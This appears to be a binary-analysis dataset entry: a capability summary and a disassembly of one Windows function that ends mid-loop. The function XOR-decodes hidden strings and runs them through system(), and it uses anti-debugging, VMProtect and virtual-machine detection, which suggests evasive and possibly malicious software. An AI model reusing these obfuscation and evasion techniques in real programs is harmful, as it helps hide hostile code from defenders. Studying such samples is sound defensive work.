Function at 0x407b80
Capabilities:
Encode data using xor
Execute command
Hide graphical window
Move file
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45133c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x688
mov eax, dword [0x49e040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_AllocConsole]
cmp byte [0x49888d], 0
movups xmm0, xmmword [str.s_vncFZQEYTZH_b_____k2__I]
mov ax, word [0x49888c]
mov edi, dword [0x5b5cf8]
movups xmmword [ebp - 0x44], xmm0
mov word [ebp - 0x2c], ax
movq xmm0, qword [0x498884]
movq qword [ebp - 0x34], xmm0
je 0x407d64
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x407d30
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x44]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x44], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x40]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x40], xmm2
add edx, 8
cmp edx, 0x18
jl 0x407c40
mov dword [ebp - 0x52c], edx
cmp edx, 0x1a
jge 0x407d64
nop dword [eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x44], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x1a
jl 0x407d30
push 0x453694
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.DbgUiRemoteBreakin
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x407970
lea ecx, [ebp - 0x20]
call fcn.00411960
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], 0
call fcn.00401810
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], 0
je 0x407daa
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x4534f9
call dword [sym.imp.VMProtectSDK32.dll_VMProtectBegin]
push 0x4534f9
call dword [sym.imp.VMProtectSDK32.dll_VMProtectBeginUltra]
push 0x4534f9
call dword [sym.imp.VMProtectSDK32.dll_VMProtectBeginVirtualization]
push 0x4534f9
call dword [sym.imp.VMProtectSDK32.dll_VMProtectBeginMutation]
call dword [sym.imp.VMProtectSDK32.dll_VMProtectIsVirtualMachinePresent]
push 0x403540
lea ecx, [ebp - 0xa4]
call fcn.00411960
push 0xfffffffffffffff5
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
lea eax, [ebp - 0xd4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
mov ecx, dword [ebp - 0xc6]
sub ecx, dword [ebp - 0xca]
inc ecx
mov word [ebp - 0x52c], cx
mov ecx, dword [ebp - 0xc4]
sub ecx, dword [ebp - 0xc8]
inc ecx
mov word [ebp - 0x52a], cx
push dword [ebp - 0x52c]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0x401b10
lea ecx, [ebp - 0x20]
call fcn.00411960
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.00401810
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1c], 0
je 0x407e69
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x401840
lea ecx, [ebp - 0x20]
call fcn.00411960
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 3
call fcn.00401810
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1c], 0
je 0x407e92
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x4018d0
lea ecx, [ebp - 0x20]
call fcn.00411960
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 4
call fcn.00401810
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1c], 0
je 0x407ebb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
push 0x401eb0
lea ecx, [ebp - 0x20]
call fcn.00411960
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 5
call fcn.00401810
mov byte [ebp - 4], 1
cmp dword [ebp - 0x1c], 0
je 0x407ee4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
call fcn.00407830
test al, al
je 0x407efa
call fcn.00407450
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call fcn.00402ef0
test eax, eax
je 0x407f10
call fcn.004071a0
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0xb8
lea eax, [ebp - 0x528]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x528]
push 1
push 0x40
push 1
push eax
call fcn.0040ed10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x528]
mov eax, dword [ebp - 0x528]
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator_bool_void_const]
test al, al
je 0x40801b
lea eax, [ebp - 0x5f0]
push eax
lea ecx, [ebp - 0x5f1]
call fcn.0040df60
mov dword [ebp - 0x53c], eax
cmp byte [eax + 6], 0
je 0x407fb4
xor ecx, ecx
mov dword [ebp - 0x52c], ecx
lea esi, [eax + ecx]
mov eax, 0x4ec4ec4f
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
sub cl, al
mov eax, dword [ebp - 0x53c]
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x52c]
inc ecx
mov dword [ebp - 0x52c], ecx
cmp ecx, 7
jl 0x407f82
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x5c1]
call fcn.0040df30
mov edi, eax
cmp byte [edi + 6], 0
je 0x408002
xor ecx, ecx
mov dword [ebp - 0x52c], ecx
mov eax, 0x4ec4ec4f
lea esi, [edi + ecx]
mul ecx
shr edx, 4
movsx eax, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [esi], cl
mov ecx, dword [ebp - 0x52c]
inc ecx
mov dword [ebp - 0x52c], ecx
cmp ecx, 7
jl 0x407fd6
push 0x40
push dword [ebp - 0x53c]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, eax
lea eax, [ebp - 0xe4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 2
push 0xb4
push 0
push esi
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
push 1
push 0x226
push 0x320
push dword [ebp - 0xe0]
push dword [ebp - 0xe4]
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
mov edx, 0x3c
lea ecx, [ebp - 0xfc]
call fcn.00406ca0
mov byte [ebp - 4], 7
xor edx, edx
mov dword [ebp - 0x52c], edx
movups xmm0, xmmword [0x49842c]
movups xmmword [ebp - 0x45c], xmm0
movups xmm0, xmmword [0x49843c]
movups xmmword [ebp - 0x44c], xmm0
movups xmm0, xmmword [str.9_6_e2_0_u___TT]
movups xmmword [ebp - 0x43c], xmm0
cmp edi, 2
jl 0x4081d0
movaps xmm0, xmmword [0x499630]
xor ecx, ecx
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov edx, dword [ebp - 0x5c0]
nop word [eax + eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x45c]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + ecx - 0x45c], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + ecx - 0x458]
xorps xmm2, xmm0
movd dword [ebp + ecx - 0x458], xmm2
add ecx, 8
cmp ecx, 0x30
jl 0x4080e0
jmp 0x408207
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x45c], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x30
jl 0x4081d0
lea ecx, [ebp - 0x45c]
call fcn.004078e0
movups xmm0, xmmword [0x4987d4]
mov eax, dword [0x4987fc]
xor edx, edx
mov dword [ebp - 0x54c], eax
mov al, byte [0x498800]
mov byte [ebp - 0x548], al
mov dword [ebp - 0x52c], edx
movups xmmword [ebp - 0x574], xmm0
movups xmm0, xmmword [0x4987e4]
movups xmmword [ebp - 0x564], xmm0
movq xmm0, qword [0x4987f4]
movq qword [ebp - 0x554], xmm0
cmp edi, 2
jl 0x408390
movaps xmm0, xmmword [0x499630]
movaps xmm4, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm5, xmmword [0x499610]
movaps xmmword [ebp - 0x5c0], xmm0
mov ecx, dword [ebp - 0x5c0]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x574]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x574], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x570]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x570], xmm2
add edx, 8
cmp edx, 0x28
jl 0x408290
mov dword [ebp - 0x52c], edx
cmp edx, 0x2d
jge 0x4083c7
nop dword [eax + eax]
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x574], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0x2d
jl 0x408390
lea ecx, [ebp - 0x574]
call fcn.004078e0
push 0x4536bc
lea edx, [ebp - 0xfc]
lea ecx, [ebp - 0x40]
call fcn.00410ac0
add esp, 4
mov ecx, eax
call fcn.00410a60
mov cx, word [0x4989ac]
xor edx, edx
movq xmm0, qword [0x4989a4]
mov esi, eax
mov word [ebp - 0x610], cx
mov cl, byte [0x4989ae]
movq qword [ebp - 0x618], xmm0
mov byte [ebp - 0x60e], cl
mov dword [ebp - 0x52c], edx
mov eax, 0x4ec4ec4f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 0x52c]
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x618], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 0xb
jl 0x408423
lea eax, [ebp - 0x618]
push esi
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
add esp, 8
lea ecx, [ebp - 0x40]
mov edi, eax
call fcn.00401400
call fcn.00403b70
cmp byte [str.7s_vnd__RXOJfwSZMc], 0
mov ecx, dword [0x4989d0]
mov esi, dword [0x4989d4]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x4085c7
xor edx, edx
cmp dword [0x5b5cf8], 2
mov dword [ebp - 0x52c], edx
jl 0x408590
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x4085c7
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x408590
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
call fcn.00406e70
test al, al
je 0x408664
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
movaps xmm0, xmmword [0x499910]
lea ecx, [ebp - 0x568]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x568], xmm0
mov word [ebp - 0x548], 0x81
movaps xmm0, xmmword [0x499790]
movups xmmword [ebp - 0x558], xmm0
mov byte [ebp - 0x546], 1
call fcn.0040f3d0
lea edx, [ebp - 0x568]
mov ecx, esi
call fcn.00410c80
push edi
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
push 0x410ea0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4535c8
call fcn.00410c80
cmp byte [0x4986fb], 0
mov ecx, dword [0x4986f4]
mov esi, dword [0x4986f8]
mov edi, dword [0x5b5cf8]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x408877
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x408840
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x408877
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x408840
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x499720]
lea ecx, [ebp - 0x470]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 4
movups xmmword [ebp - 0x470], xmm0
mov dword [ebp - 0x430], 0xc9e2ef
movaps xmm0, xmmword [0x4996e0]
movups xmmword [ebp - 0x460], xmm0
mov byte [ebp - 0x42c], 1
movaps xmm0, xmmword [0x499850]
movups xmmword [ebp - 0x450], xmm0
movaps xmm0, xmmword [0x4998d0]
movups xmmword [ebp - 0x440], xmm0
call fcn.0040eaf0
lea edx, [ebp - 0x470]
mov ecx, esi
call fcn.00410c80
movaps xmm0, xmmword [0x499720]
lea ecx, [ebp - 0x470]
mov esi, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmmword [ebp - 0x470], xmm0
mov dword [ebp - 0x430], 0xcee3e2e1
movaps xmm0, xmmword [0x4996e0]
movups xmmword [ebp - 0x460], xmm0
mov word [ebp - 0x42c], 0x100
movaps xmm0, xmmword [0x499830]
movups xmmword [ebp - 0x450], xmm0
movaps xmm0, xmmword [0x499890]
movups xmmword [ebp - 0x440], xmm0
call fcn.0040e980
lea edx, [ebp - 0x470]
mov ecx, esi
call fcn.00410c80
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0x64
mov dword [ebp - 0x1c], 0
call fcn.00410b40
cmp byte [str.7sF], 0
mov ecx, dword [str.sF]
mov esi, dword [0x4986f0]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x408ab7
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x408a80
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x408ab7
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x408a80
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x20], 0x64
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1c], 0
call fcn.00410b40
cmp byte [str.70123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], 0
mov ecx, dword [0x4984c0]
mov esi, dword [0x4984c4]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x408c27
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x408bf0
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, esi
xorps xmm2, xmm0
movd dword [ebp - 0x534], xmm2
jmp 0x408c27
mov eax, 0x4ec4ec4f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x52c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x34
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x538], cl
inc edx
mov dword [ebp - 0x52c], edx
cmp edx, 8
jl 0x408bf0
lea eax, [ebp - 0x538]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x20], 0x64
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1c], 0
call fcn.00410b40
cmp byte [str.7TT], 0
mov ecx, dword [0x49864c]
mov esi, dword [0x498650]
mov dword [ebp - 0x538], ecx
mov dword [ebp - 0x534], esi
je 0x408d97
xor edx, edx
mov dword [ebp - 0x52c], edx
cmp edi, 2
jl 0x408d60
movaps xmm3, xmmword [0x4995e0]
movaps xmm4, xmmword [0x4996a0]
movaps xmm1, xmm3
mov eax, dword [0x499630]
movaps xmm0, xmm3
punpckhdq xmm0, xmm3
punpckldq xmm1, xmm3
pmuldq xmm0, xmm4
movaps xmm2, xmmword [0x4995f0]
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movaps xmm1, xmm2
pmulld xmm0, xmmword [0x499610]
psubd xmm3, xmm0
punpckldq xmm1, xmm2
andps xmm3, xmmword [0x499620]
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, ecx
xorps xmm3, xmm0
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movd dword [ebp - 0x538], xmm3
